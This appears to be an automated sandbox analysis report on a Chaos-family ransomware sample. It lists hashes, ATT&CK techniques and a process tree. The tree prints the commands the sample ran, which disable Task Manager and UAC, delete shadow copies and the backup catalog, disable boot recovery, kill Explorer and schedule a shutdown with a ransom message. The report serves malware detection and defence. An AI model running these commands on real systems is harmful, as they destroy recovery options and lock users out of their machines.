chaos | bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3

Resubmissions

09-08-2024 10:23

240809-metkyatbna 10

09-08-2024 09:59

240809-l1gmtstanf 10

Analysis

max time kernel
185s
max time network
202s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
09-08-2024 10:23

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General

Target

source/TrojanRansomCovid29.bat
Size

1KB
MD5

57f0432c8e31d4ff4da7962db27ef4e8
SHA1

d5023b3123c0b7fae683588ac0480cd2731a0c5e
SHA256

b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc
SHA512

bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

Score

10^/10

chaos bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 2 IoCs

resource	yara_rule
behavioral9/files/0x000100000002aadf-12.dat	family_chaos
behavioral9/memory/1520-14-0x0000000000A60000-0x0000000000A80000-memory.dmp	family_chaos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
784	bcdedit.exe
1716	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2492	wbadmin.exe

Disables Task Manager via registry modification
evasion

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe

Executes dropped EXE 3 IoCs

pid	Process
3812	mbr.exe
1520	Cov29Cry.exe
2108	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-970747758-134341002-3585657277-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\60oj9o91e.jpg"	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cov29LockScreen.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
236	PING.EXE
4124	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2700	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4668	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000_Classes\Local Settings	svchost.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
4256	reg.exe
4248	reg.exe
4236	reg.exe
4840	reg.exe
3340	reg.exe
5016	reg.exe
3392	reg.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4124	PING.EXE
236	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2108	svchost.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
1520	Cov29Cry.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe
2108	svchost.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4688	shutdown.exe
Token: SeRemoteShutdownPrivilege	4688	shutdown.exe
Token: SeDebugPrivilege	1520	Cov29Cry.exe
Token: SeDebugPrivilege	2108	svchost.exe
Token: SeBackupPrivilege	1888	vssvc.exe
Token: SeRestorePrivilege	1888	vssvc.exe
Token: SeAuditPrivilege	1888	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe
Token: SeSystemProfilePrivilege	2868	WMIC.exe
Token: SeSystemtimePrivilege	2868	WMIC.exe
Token: SeProfSingleProcessPrivilege	2868	WMIC.exe
Token: SeIncBasePriorityPrivilege	2868	WMIC.exe
Token: SeCreatePagefilePrivilege	2868	WMIC.exe
Token: SeBackupPrivilege	2868	WMIC.exe
Token: SeRestorePrivilege	2868	WMIC.exe
Token: SeShutdownPrivilege	2868	WMIC.exe
Token: SeDebugPrivilege	2868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2868	WMIC.exe
Token: SeRemoteShutdownPrivilege	2868	WMIC.exe
Token: SeUndockPrivilege	2868	WMIC.exe
Token: SeManageVolumePrivilege	2868	WMIC.exe
Token: 33	2868	WMIC.exe
Token: 34	2868	WMIC.exe
Token: 35	2868	WMIC.exe
Token: 36	2868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe
Token: SeSystemProfilePrivilege	2868	WMIC.exe
Token: SeSystemtimePrivilege	2868	WMIC.exe
Token: SeProfSingleProcessPrivilege	2868	WMIC.exe
Token: SeIncBasePriorityPrivilege	2868	WMIC.exe
Token: SeCreatePagefilePrivilege	2868	WMIC.exe
Token: SeBackupPrivilege	2868	WMIC.exe
Token: SeRestorePrivilege	2868	WMIC.exe
Token: SeShutdownPrivilege	2868	WMIC.exe
Token: SeDebugPrivilege	2868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2868	WMIC.exe
Token: SeRemoteShutdownPrivilege	2868	WMIC.exe
Token: SeUndockPrivilege	2868	WMIC.exe
Token: SeManageVolumePrivilege	2868	WMIC.exe
Token: 33	2868	WMIC.exe
Token: 34	2868	WMIC.exe
Token: 35	2868	WMIC.exe
Token: 36	2868	WMIC.exe
Token: SeBackupPrivilege	2740	wbengine.exe
Token: SeRestorePrivilege	2740	wbengine.exe
Token: SeSecurityPrivilege	2740	wbengine.exe
Token: SeDebugPrivilege	4668	taskkill.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2216	PickerHost.exe
2332	Cov29LockScreen.exe
4996	PickerHost.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2288	2676	cmd.exe	81
PID 2676 wrote to memory of 2288	2676	cmd.exe	81
PID 2676 wrote to memory of 236	2676	cmd.exe	82
PID 2676 wrote to memory of 236	2676	cmd.exe	82
PID 2676 wrote to memory of 4256	2676	cmd.exe	84
PID 2676 wrote to memory of 4256	2676	cmd.exe	84
PID 2676 wrote to memory of 4248	2676	cmd.exe	85
PID 2676 wrote to memory of 4248	2676	cmd.exe	85
PID 2676 wrote to memory of 4236	2676	cmd.exe	86
PID 2676 wrote to memory of 4236	2676	cmd.exe	86
PID 2676 wrote to memory of 4840	2676	cmd.exe	87
PID 2676 wrote to memory of 4840	2676	cmd.exe	87
PID 2676 wrote to memory of 3340	2676	cmd.exe	88
PID 2676 wrote to memory of 3340	2676	cmd.exe	88
PID 2676 wrote to memory of 5016	2676	cmd.exe	89
PID 2676 wrote to memory of 5016	2676	cmd.exe	89
PID 2676 wrote to memory of 3392	2676	cmd.exe	90
PID 2676 wrote to memory of 3392	2676	cmd.exe	90
PID 2676 wrote to memory of 3812	2676	cmd.exe	91
PID 2676 wrote to memory of 3812	2676	cmd.exe	91
PID 2676 wrote to memory of 3812	2676	cmd.exe	91
PID 2676 wrote to memory of 1520	2676	cmd.exe	92
PID 2676 wrote to memory of 1520	2676	cmd.exe	92
PID 2676 wrote to memory of 4688	2676	cmd.exe	93
PID 2676 wrote to memory of 4688	2676	cmd.exe	93
PID 2676 wrote to memory of 4124	2676	cmd.exe	95
PID 2676 wrote to memory of 4124	2676	cmd.exe	95
PID 1520 wrote to memory of 2108	1520	Cov29Cry.exe	98
PID 1520 wrote to memory of 2108	1520	Cov29Cry.exe	98
PID 2108 wrote to memory of 468	2108	svchost.exe	99
PID 2108 wrote to memory of 468	2108	svchost.exe	99
PID 468 wrote to memory of 2700	468	cmd.exe	101
PID 468 wrote to memory of 2700	468	cmd.exe	101
PID 468 wrote to memory of 2868	468	cmd.exe	104
PID 468 wrote to memory of 2868	468	cmd.exe	104
PID 2108 wrote to memory of 3584	2108	svchost.exe	106
PID 2108 wrote to memory of 3584	2108	svchost.exe	106
PID 3584 wrote to memory of 784	3584	cmd.exe	108
PID 3584 wrote to memory of 784	3584	cmd.exe	108
PID 3584 wrote to memory of 1716	3584	cmd.exe	109
PID 3584 wrote to memory of 1716	3584	cmd.exe	109
PID 2108 wrote to memory of 876	2108	svchost.exe	110
PID 2108 wrote to memory of 876	2108	svchost.exe	110
PID 876 wrote to memory of 2492	876	cmd.exe	112
PID 876 wrote to memory of 2492	876	cmd.exe	112
PID 2108 wrote to memory of 4948	2108	svchost.exe	117
PID 2108 wrote to memory of 4948	2108	svchost.exe	117
PID 2676 wrote to memory of 4668	2676	cmd.exe	119
PID 2676 wrote to memory of 4668	2676	cmd.exe	119
PID 2676 wrote to memory of 2332	2676	cmd.exe	120
PID 2676 wrote to memory of 2332	2676	cmd.exe	120
PID 2676 wrote to memory of 2332	2676	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\source\TrojanRansomCovid29.bat"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\source\fakeerror.vbs"
  2⤵
  PID:2288
- C:\Windows\system32\PING.EXE
  ping localhost -n 2
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:236
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4256
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4248
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4236
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4840
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3340
- C:\Windows\system32\reg.exe
  reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  - Modifies registry key
  PID:5016
- C:\Windows\system32\reg.exe
  reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  - Modifies registry key
  PID:3392
- C:\Users\Admin\AppData\Local\Temp\source\mbr.exe
  mbr.exe
  2⤵
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  - System Location Discovery: System Language Discovery
  PID:3812
- C:\Users\Admin\AppData\Local\Temp\source\Cov29Cry.exe
  Cov29Cry.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - Sets desktop wallpaper using registry
    - Modifies registry class
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
      4⤵
      Suspicious use of WriteProcessMemory
      PID:468
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:2700
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2868
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3584
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:784
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:1716
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:876
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        5⤵
        Deletes backup catalog
        
        PID:2492
  - - C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
      4⤵
      PID:4948
- C:\Windows\system32\shutdown.exe
  shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\system32\PING.EXE
  ping localhost -n 9
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4124
- C:\Windows\system32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Users\Admin\AppData\Local\Temp\source\Cov29LockScreen.exe
  Cov29LockScreen.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2332

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2216

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1888

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2740

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2828

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4388

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:4996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\source\Cov29Cry.exe

Filesize
103KB

MD5
8bcd083e16af6c15e14520d5a0bd7e6a

SHA1
c4d2f35d1fdb295db887f31bbc9237ac9263d782

SHA256
b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

SHA512
35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\source\fakeerror.vbs

Filesize
144B

MD5
c0437fe3a53e181c5e904f2d13431718

SHA1
44f9547e7259a7fb4fe718e42e499371aa188ab6

SHA256
f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

SHA512
a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\source\mbr.exe

Filesize
1.3MB

MD5
35af6068d91ba1cc6ce21b461f242f94

SHA1
cb054789ff03aa1617a6f5741ad53e4598184ffa

SHA256
9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

SHA512
136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

Download Submit
C:\Users\Admin\Desktop\covid29-is-here.txt

Filesize
861B

MD5
c53dee51c26d1d759667c25918d3ed10

SHA1
da194c2de15b232811ba9d43a46194d9729507f0

SHA256
dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

SHA512
da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

Download Submit
memory/1520-14-0x0000000000A60000-0x0000000000A80000-memory.dmp

Filesize
128KB

Download
memory/3812-16-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download